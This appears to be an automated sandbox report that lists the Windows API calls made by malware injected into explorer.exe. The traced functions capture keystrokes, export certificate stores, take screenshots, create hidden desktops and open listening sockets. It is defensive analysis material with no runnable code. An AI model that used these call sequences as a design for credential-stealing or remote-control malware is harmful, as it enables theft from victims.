    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5886A, Relevance: 15.1, APIs: 10, Instructions: 92
    APIs
    • OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00E5888F
    • CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00E588A2
    • GetProcessWindowStation.USER32 ref: 00E588B3
      • Part of subcall function 00E58842: GetProcessWindowStation.USER32 ref: 00E58846
      • Part of subcall function 00E58842: SetProcessWindowStation.USER32(00000000), ref: 00E5885A
    • OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00E588EE
    • CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00E58902
    • GetCurrentThreadId.KERNEL32 ref: 00E5890E
    • GetThreadDesktop.USER32 ref: 00E58915
      • Part of subcall function 00E587FD: lstrcmpiW.KERNEL32 ref: 00E58822
    • SetThreadDesktop.USER32 ref: 00E58927
    • CloseDesktop.USER32 ref: 00E58939
    • CloseWindowStation.USER32(?), ref: 00E58954
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E59ED2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00E59EE9
    • GetProcAddress.KERNEL32(?,?), ref: 00E59F15
    • GetProcAddress.KERNEL32(?,00000006), ref: 00E59F2C
    • GetProcAddress.KERNEL32(?,00000000), ref: 00E59F44
    • FreeLibrary.KERNEL32(?), ref: 00E59FCD
      • Part of subcall function 00E49B6C: GetCurrentThread.KERNEL32 ref: 00E49B7C
      • Part of subcall function 00E49B6C: OpenThreadToken.ADVAPI32 ref: 00E49B83
      • Part of subcall function 00E49B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00E59F61), ref: 00E49B95
      • Part of subcall function 00E49B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00E59F61,?), ref: 00E49BB9
      • Part of subcall function 00E49B6C: AdjustTokenPrivileges.ADVAPI32(00E59F61,00000000,00000001,00000000,00000000,00000000), ref: 00E49BCE
      • Part of subcall function 00E49B6C: GetLastError.KERNEL32 ref: 00E49BD8
      • Part of subcall function 00E49B6C: CloseHandle.KERNEL32(00E59F61), ref: 00E49BE7
    • WTSGetActiveConsoleSessionId.KERNEL32 ref: 00E59F61
      • Part of subcall function 00E59E61: EqualSid.ADVAPI32(?,?), ref: 00E59E86
      • Part of subcall function 00E59E61: CloseHandle.KERNEL32(?), ref: 00E59EC7
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E4BBC6, Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 43
    APIs
      • Part of subcall function 00E49B6C: GetCurrentThread.KERNEL32 ref: 00E49B7C
      • Part of subcall function 00E49B6C: OpenThreadToken.ADVAPI32 ref: 00E49B83
      • Part of subcall function 00E49B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00E59F61), ref: 00E49B95
      • Part of subcall function 00E49B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00E59F61,?), ref: 00E49BB9
      • Part of subcall function 00E49B6C: AdjustTokenPrivileges.ADVAPI32(00E59F61,00000000,00000001,00000000,00000000,00000000), ref: 00E49BCE
      • Part of subcall function 00E49B6C: GetLastError.KERNEL32 ref: 00E49BD8
      • Part of subcall function 00E49B6C: CloseHandle.KERNEL32(00E59F61), ref: 00E49BE7
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 00E4BBE5
    • GetSecurityDescriptorSacl.ADVAPI32(?,00000000,?,00000000), ref: 00E4BC01
    • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,?), ref: 00E4BC18
    • LocalFree.KERNEL32(?), ref: 00E4BC27
    Strings
    • C:\Documents and Settings\Administrator\Application Data\Ozna\afmic.kua, xrefs: 00E4BBCC
    • S:(ML;CIOI;NRNWNX;;;LW), xrefs: 00E4BBE0
    • SeSecurityPrivilege, xrefs: 00E4BBCD
    • C:\Documents and Settings\Administrator\Application Data\Ozna, xrefs: 00E4BBC6
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E51F30, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 416
    APIs
      • Part of subcall function 00E491F6: CharLowerA.USER32(?), ref: 00E492C6
      • Part of subcall function 00E491F6: CharLowerA.USER32(?), ref: 00E492D0
      • Part of subcall function 00E482C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00E482DD
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
      • Part of subcall function 00E480EB: HeapAlloc.KERNEL32(00000008,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?,?), ref: 00E4810D
      • Part of subcall function 00E480EB: HeapReAlloc.KERNEL32(00000008,?,?,00E4847D,?,00E37A97,?,00E48FC7,?,?,00E37A97,?,?,00E48F77,?,?), ref: 00E4811E
      • Part of subcall function 00E4D156: StrCmpNIA.SHLWAPI(00000001,nbsp;,00000005), ref: 00E4D279
    • InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 00E52289
    • GetSystemTime.KERNEL32(?), ref: 00E522A8
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
    • LeaveCriticalSection.KERNEL32(00E63FEC), ref: 00E5241A
      • Part of subcall function 00E49656: CryptAcquireContextW.ADVAPI32(00E4DF1D,00000000,00000000,00000001,F0000040), ref: 00E4966F
      • Part of subcall function 00E49656: CryptCreateHash.ADVAPI32(00E4DF1D,00008003,00000000,00000000,00000030), ref: 00E49687
      • Part of subcall function 00E49656: CryptHashData.ADVAPI32(00000030,00000010,00E4DF1D,00000000), ref: 00E496A3
      • Part of subcall function 00E49656: CryptGetHashParam.ADVAPI32(00000030,00000002,00000030,00000010,00000000), ref: 00E496BB
      • Part of subcall function 00E49656: CryptDestroyHash.ADVAPI32(00000030), ref: 00E496D2
      • Part of subcall function 00E49656: CryptReleaseContext.ADVAPI32(00E4DF1D,00000000), ref: 00E496DC
    • GetLocalTime.KERNEL32(?), ref: 00E523B2
      • Part of subcall function 00E4C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00E4C80C
      • Part of subcall function 00E4C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00E4C826
      • Part of subcall function 00E4C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00E4C835
    • EnterCriticalSection.KERNEL32(00E63FEC,00000000), ref: 00E523DE
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E53F77, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 148
    APIs
      • Part of subcall function 00E4C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00E4C6C6
      • Part of subcall function 00E4C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E4C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E53FDE
      • Part of subcall function 00E53D7F: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00E53DB6
      • Part of subcall function 00E53D7F: StrStrIW.SHLWAPI(?,?), ref: 00E53E48
      • Part of subcall function 00E53D7F: StrStrIW.SHLWAPI(?,?), ref: 00E53E59
      • Part of subcall function 00E53D7F: GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00E53E75
      • Part of subcall function 00E53D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E53E93
      • Part of subcall function 00E53D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00E53EAD
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00E53FFB
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00E54077
      • Part of subcall function 00E4DD7A: FindFirstFileW.KERNEL32(?,?), ref: 00E4DDB9
      • Part of subcall function 00E4DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00E4DDE0
      • Part of subcall function 00E4DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00E4DE2A
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE57
      • Part of subcall function 00E4DD7A: Sleep.KERNEL32(00000000), ref: 00E4DE87
      • Part of subcall function 00E4DD7A: FindNextFileW.KERNEL32(?,?), ref: 00E4DEB5
      • Part of subcall function 00E4DD7A: FindClose.KERNEL32(?), ref: 00E4DEC7
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00E54118
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E58575, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107
    APIs
    • TranslateMessage.USER32(?), ref: 00E586D3
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • EnterCriticalSection.KERNEL32(00E64170), ref: 00E585AF
    • LeaveCriticalSection.KERNEL32(00E64170), ref: 00E58659
      • Part of subcall function 00E47B9E: LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00E47BD0
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00E47BE1
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00E47BEE
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00E47BFB
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00E47C08
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00E47C15
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00E47C22
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00E47C2F
      • Part of subcall function 00E47B9E: LoadLibraryA.KERNEL32(ole32.dll), ref: 00E47C77
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00E47C82
      • Part of subcall function 00E47B9E: LoadLibraryA.KERNEL32(gdi32.dll), ref: 00E47C94
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(?,CreateDCW), ref: 00E47C9F
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00E47CAB
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00E47CB8
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00E47CC5
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00E47CD2
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00E47CDF
      • Part of subcall function 00E47B9E: GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00E47CEC
      • Part of subcall function 00E47B9E: FreeLibrary.KERNEL32(00000000), ref: 00E48030
      • Part of subcall function 00E47B9E: FreeLibrary.KERNEL32(?), ref: 00E4803A
      • Part of subcall function 00E47B9E: FreeLibrary.KERNEL32(00000001), ref: 00E48044
    • GetTickCount.KERNEL32 ref: 00E5861B
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
    • GetKeyboardState.USER32(?), ref: 00E58673
    • ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 00E5869B
      • Part of subcall function 00E583EA: EnterCriticalSection.KERNEL32(00E64170,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58407
      • Part of subcall function 00E583EA: LeaveCriticalSection.KERNEL32(00E64170,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58428
      • Part of subcall function 00E583EA: EnterCriticalSection.KERNEL32(00E64170,?,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E58439
      • Part of subcall function 00E583EA: LeaveCriticalSection.KERNEL32(00E64170,?,?,?,?,00E586D2,00000000,?,?,?,00000009,00000000), ref: 00E584C1
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3A6E3, Relevance: 12.2, APIs: 8, Instructions: 151
    APIs
      • Part of subcall function 00E37ED5: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E37EF6
      • Part of subcall function 00E3803E: WaitForSingleObject.KERNEL32(00000000,00E50285), ref: 00E38046
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 00E3A74E
    • CloseHandle.KERNEL32(?), ref: 00E3A8B8
      • Part of subcall function 00E50533: CreateMutexW.KERNEL32(00E62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00E50556
    • WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 00E3A7E8
    • WSAEventSelect.WS2_32(?,00000000,00000000), ref: 00E3A829
    • WSAIoctl.WS2_32(?,8004667E,?,00000004,00000000,00000000,?,00000000,00000000), ref: 00E3A849
      • Part of subcall function 00E4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00E4B953
      • Part of subcall function 00E49ED7: CreateThread.KERNEL32(00000000,?,?,00000001), ref: 00E49EEB
      • Part of subcall function 00E49ED7: CloseHandle.KERNEL32 ref: 00E49EF6
    • accept.WS2_32(?,00000000,00000000), ref: 00E3A874
    • WaitForMultipleObjects.KERNEL32(?,00000004,00000000), ref: 00E3A888
      • Part of subcall function 00E4B8E5: shutdown.WS2_32(?,00000002), ref: 00E4B8ED
      • Part of subcall function 00E4B8E5: #3.WS2_32(?,?,00000002,00E3A43E), ref: 00E4B8F4
    • CloseHandle.KERNEL32(?), ref: 00E3A8A9
      • Part of subcall function 00E4BD18: ReleaseMutex.KERNEL32 ref: 00E4BD1C
      • Part of subcall function 00E50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00E504BA
      • Part of subcall function 00E3A45D: getsockname.WS2_32(?,?,?), ref: 00E3A4B4
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E50A6C, Relevance: 12.1, APIs: 8, Instructions: 120
    APIs
    • CertOpenSystemStoreW.CRYPT32(00000000,00E371B8), ref: 00E50A87
    • CertEnumCertificatesInStore.CRYPT32(?,00000000), ref: 00E50AA3
    • CertEnumCertificatesInStore.CRYPT32 ref: 00E50AAF
    • PFXExportCertStoreEx.CRYPT32(?,00000004,?,00000000,00000004), ref: 00E50AED
      • Part of subcall function 00E48130: HeapAlloc.KERNEL32(00000008,?,00E4C881), ref: 00E48141
    • PFXExportCertStoreEx.CRYPT32(?,00000004,00000000,00000000,00000004,?,00000004,?,00000000,00000004), ref: 00E50B1A
    • CharLowerW.USER32 ref: 00E50B38
    • GetSystemTime.KERNEL32(?), ref: 00E50B43
      • Part of subcall function 00E50A0E: GetUserNameExW.SECUR32(00000002,?,?,00000000,?,?,00E50B63,?,?,00000004,00000000,00000000,00000004,?,00000004,?), ref: 00E50A23
      • Part of subcall function 00E48E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00E48EB4
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • CertCloseStore.CRYPT32(?,00000000,?,00000000), ref: 00E50BCB
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5BD28, Relevance: 12.1, APIs: 8, Instructions: 116
    APIs
    • GetCurrentThread.KERNEL32 ref: 00E5BD39
    • SetThreadPriority.KERNEL32 ref: 00E5BD40
      • Part of subcall function 00E5886A: OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00E5888F
      • Part of subcall function 00E5886A: CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00E588A2
      • Part of subcall function 00E5886A: GetProcessWindowStation.USER32 ref: 00E588B3
      • Part of subcall function 00E5886A: OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00E588EE
      • Part of subcall function 00E5886A: CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00E58902
      • Part of subcall function 00E5886A: GetCurrentThreadId.KERNEL32 ref: 00E5890E
      • Part of subcall function 00E5886A: GetThreadDesktop.USER32 ref: 00E58915
      • Part of subcall function 00E5886A: SetThreadDesktop.USER32 ref: 00E58927
      • Part of subcall function 00E5886A: CloseDesktop.USER32 ref: 00E58939
      • Part of subcall function 00E5886A: CloseWindowStation.USER32(?), ref: 00E58954
      • Part of subcall function 00E5B7E3: TlsAlloc.KERNEL32(?,00E645C0,00000000), ref: 00E5B7FD
      • Part of subcall function 00E5B7E3: RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00E645C0,00000000), ref: 00E5B824
      • Part of subcall function 00E5B7E3: CreateEventW.KERNEL32(00E62AFC,00000001,00000000,?), ref: 00E5B84B
      • Part of subcall function 00E5B7E3: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E5B86B
      • Part of subcall function 00E5B7E3: CreateFileMappingW.KERNEL32(00000000,00E62AFC,00000004,00000000,03D09128,?), ref: 00E5B893
      • Part of subcall function 00E5B7E3: MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00E5B8A9
      • Part of subcall function 00E5B7E3: GetDC.USER32(00000000), ref: 00E5B8C6
      • Part of subcall function 00E5B7E3: GetDeviceCaps.GDI32(?,00000008), ref: 00E5B8E6
      • Part of subcall function 00E5B7E3: GetDeviceCaps.GDI32(00000000,0000000A), ref: 00E5B8F0
      • Part of subcall function 00E5B7E3: CreateCompatibleBitmap.GDI32(00000000,?), ref: 00E5B8FD
      • Part of subcall function 00E5B7E3: ReleaseDC.USER32(00000000,00000000), ref: 00E5B925
      • Part of subcall function 00E5B7E3: CreateMutexW.KERNEL32(00E62AFC,00000000,?), ref: 00E5B9C9
      • Part of subcall function 00E5B7E3: GetDC.USER32(00000000), ref: 00E5B9DE
      • Part of subcall function 00E5B7E3: CreateCompatibleDC.GDI32 ref: 00E5B9EB
      • Part of subcall function 00E5B7E3: CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00E5BA00
      • Part of subcall function 00E5B7E3: SelectObject.GDI32(?), ref: 00E5BA17
      • Part of subcall function 00E5B7E3: ReleaseDC.USER32(00000000), ref: 00E5BA2D
      • Part of subcall function 00E5BA3D: DeleteObject.GDI32(00000000), ref: 00E5BA4D
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BA5D
      • Part of subcall function 00E5BA3D: TlsFree.KERNEL32 ref: 00E5BA68
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BA76
      • Part of subcall function 00E5BA3D: UnmapViewOfFile.KERNEL32(00000000), ref: 00E5BA80
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32 ref: 00E5BA8D
      • Part of subcall function 00E5BA3D: SelectObject.GDI32(00000000,00000000), ref: 00E5BAA7
      • Part of subcall function 00E5BA3D: DeleteObject.GDI32(00000000), ref: 00E5BAB8
      • Part of subcall function 00E5BA3D: DeleteDC.GDI32(00000000), ref: 00E5BAC5
      • Part of subcall function 00E5BA3D: CloseHandle.KERNEL32(00000000), ref: 00E5BAD6
      • Part of subcall function 00E5BA3D: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 00E5BAE5
      • Part of subcall function 00E5BA3D: PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,00E5BC3C,00000000,00E645C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 00E5BAFE
      • Part of subcall function 00E46373: WSAGetLastError.WS2_32(?,00000001,0000000A,00000000,?,001B7740,?,00000003,001B7740,?,001B7740,?,?,00000018,?), ref: 00E46639
      • Part of subcall function 00E46373: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E46654
      • Part of subcall function 00E46373: ReleaseMutex.KERNEL32 ref: 00E466E6
      • Part of subcall function 00E46373: GetSystemMetrics.USER32(00000017), ref: 00E46806
      • Part of subcall function 00E46373: ReleaseMutex.KERNEL32 ref: 00E46B93
    • GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00E5BD97
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00E5BDC9
      • Part of subcall function 00E4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00E4DEF5
    • WaitForSingleObject.KERNEL32(?,00001388), ref: 00E5BE29
    • CloseHandle.KERNEL32(?), ref: 00E5BE39
    • CloseHandle.KERNEL32(?), ref: 00E5BE3F
    • SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00E5BE4E
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E5C822, Relevance: 12.1, APIs: 8, Instructions: 107
    APIs
    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E5C836
    • ReleaseMutex.KERNEL32 ref: 00E5C855
    • GetWindowRect.USER32(?,?), ref: 00E5C862
    • IsRectEmpty.USER32(?), ref: 00E5C8E6
    • GetWindowLongW.USER32(?,000000F0), ref: 00E5C8F5
    • GetParent.USER32(?), ref: 00E5C90B
    • MapWindowPoints.USER32(00000000), ref: 00E5C914
    • SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00E5C938
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E506F0, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 190
    APIs
    • EnterCriticalSection.KERNEL32(00E63F6C,0000FDE9,?), ref: 00E507A7
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
    • LeaveCriticalSection.KERNEL32(00E63F6C,000000FF,000000FF), ref: 00E50802
    • EnterCriticalSection.KERNEL32(00E63F6C), ref: 00E5081D
    • getpeername.WS2_32 ref: 00E508D1
      • Part of subcall function 00E4B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 00E4B9C7
    Strings
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3A4DE, Relevance: 10.7, APIs: 7, Instructions: 173
    APIs
    • recv.WS2_32(?,?,00000001,00000000), ref: 00E3A4FD
      • Part of subcall function 00E4BD45: OpenMutexW.KERNEL32(00100000,00000000,00000000), ref: 00E4BD50
      • Part of subcall function 00E4BD45: CloseHandle.KERNEL32 ref: 00E4BD5B
    • WaitForSingleObject.KERNEL32(000003E8,?), ref: 00E3A57C
      • Part of subcall function 00E3A45D: getsockname.WS2_32(?,?,?), ref: 00E3A4B4
      • Part of subcall function 00E4B463: #19.WS2_32(00000000,00000000,00000000,00000000,00E480E2,?,00000000,00000004,?,00000000,00000000,00000001,?,00000000), ref: 00E4B471
    • CreateMutexW.KERNEL32(00000000,00000001,?), ref: 00E3A5BE
      • Part of subcall function 00E4B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 00E4B866
      • Part of subcall function 00E4B7E9: WSASetLastError.WS2_32(0000274C), ref: 00E4B877
    • accept.WS2_32(00000001,00000000,00000000), ref: 00E3A5FF
    • CloseHandle.KERNEL32(?), ref: 00E3A616
    • CloseHandle.KERNEL32(?), ref: 00E3A625
    • CloseHandle.KERNEL32(?), ref: 00E3A642
      • Part of subcall function 00E4B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 00E4B953
      • Part of subcall function 00E4B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 00E4B92E
      • Part of subcall function 00E5BD28: GetCurrentThread.KERNEL32 ref: 00E5BD39
      • Part of subcall function 00E5BD28: SetThreadPriority.KERNEL32 ref: 00E5BD40
      • Part of subcall function 00E5BD28: GetShellWindow.USER32(?,00000001,?,00000014,?,00000000,?,?,?,7C809BE7), ref: 00E5BD97
      • Part of subcall function 00E5BD28: SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00E5BDC9
      • Part of subcall function 00E5BD28: WaitForSingleObject.KERNEL32(?,00001388), ref: 00E5BE29
      • Part of subcall function 00E5BD28: CloseHandle.KERNEL32(?), ref: 00E5BE39
      • Part of subcall function 00E5BD28: CloseHandle.KERNEL32(?), ref: 00E5BE3F
      • Part of subcall function 00E5BD28: SystemParametersInfoW.USER32(00001003,00000000,00000000,00000000), ref: 00E5BE4E
      • Part of subcall function 00E4BD28: GetLastError.KERNEL32(7C802530,00E37E8B), ref: 00E4BD2B
      • Part of subcall function 00E4BD28: CloseHandle.KERNEL32 ref: 00E4BD39
      • Part of subcall function 00E436DA: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00E43881
      • Part of subcall function 00E436DA: freeaddrinfo.WS2_32(?), ref: 00E438BE
      • Part of subcall function 00E436DA: getsockname.WS2_32(?,?,?), ref: 00E43998
      • Part of subcall function 00E436DA: getpeername.WS2_32(?,?,?), ref: 00E439B2
      • Part of subcall function 00E436DA: recv.WS2_32(?,?,0000FFFF,00000000), ref: 00E43A6C
      • Part of subcall function 00E436DA: recvfrom.WS2_32(?,?,0000FFFF,00000000,00000017,00000080), ref: 00E43AAC
      • Part of subcall function 00E436DA: getaddrinfo.WS2_32(00000000,00000000,00000000,?), ref: 00E43BE9
      • Part of subcall function 00E436DA: freeaddrinfo.WS2_32(?,?,0000FFFF,00000000,00000017,00000080,?,?), ref: 00E43C4B
      • Part of subcall function 00E436DA: sendto.WS2_32(000000FF,?,?,00000000,00000017,00000010), ref: 00E43D17
      • Part of subcall function 00E436DA: recvfrom.WS2_32(000000FF,?,?,00000000,00000017,00000080), ref: 00E43D5C
      • Part of subcall function 00E436DA: sendto.WS2_32(?,?,?,00000000,?,?), ref: 00E43DD8
      • Part of subcall function 00E436DA: select.WS2_32(00000000,00000002,00000000,00000000,00000000), ref: 00E43E17
      • Part of subcall function 00E43FFE: getaddrinfo.WS2_32(?,00000000,00000000,?), ref: 00E440CD
      • Part of subcall function 00E43FFE: freeaddrinfo.WS2_32(?), ref: 00E44103
      • Part of subcall function 00E4B3EC: recv.WS2_32(?,?,00000001,00000000), ref: 00E4B410
      • Part of subcall function 00E48160: HeapFree.KERNEL32(00000000,00000000,00E5C62F,?,?), ref: 00E48173
      • Part of subcall function 00E4B8E5: shutdown.WS2_32(?,00000002), ref: 00E4B8ED
      • Part of subcall function 00E4B8E5: #3.WS2_32(?,?,00000002,00E3A43E), ref: 00E4B8F4
    Memory Dump Source
    • Source File: 00000007.00000002.720410942.00E30000.00000040.sdmp, Offset: 00E30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_7_2_explorer.jbxd
    Function 00E3891D, Relevance: 10.6, APIs: 7, Instructions: 145
    APIs
    • LocalFree.KERNEL32 ref: 00E38959
      • Part of subcall function 00E5BBC0: GetCurrentThreadId.KERNEL32 ref: 00E5BBCA
      • Part of subcall function 00E5BBC0: GetThreadDesktop.USER32 ref: 00E5BBD1
      • Part of subcall function 00E5BBC0: GetUserObjectInformationW.USER32(?,00000002,?,00000064,00000000), ref: 00E5BBEB
      • Part of subcall function 00E44AC6: GetCurrentThread.KERNEL32 ref: 00E44AD3
      • Part of subcall function 00E44AC6: SetThreadPriority.KERNEL32 ref: 00E44ADA
      • Part of subcall function 00E44AC6: SetEvent.KERNEL32 ref: 00E44AEC
      • Part of subcall function 00E44AC6: SetEvent.KERNEL32 ref: 00E44B39
      • Part of subcall function 00E44AC6: GetMessageW.USER32(000000FF,000000FF,00000000,00000000), ref: 00E44B46
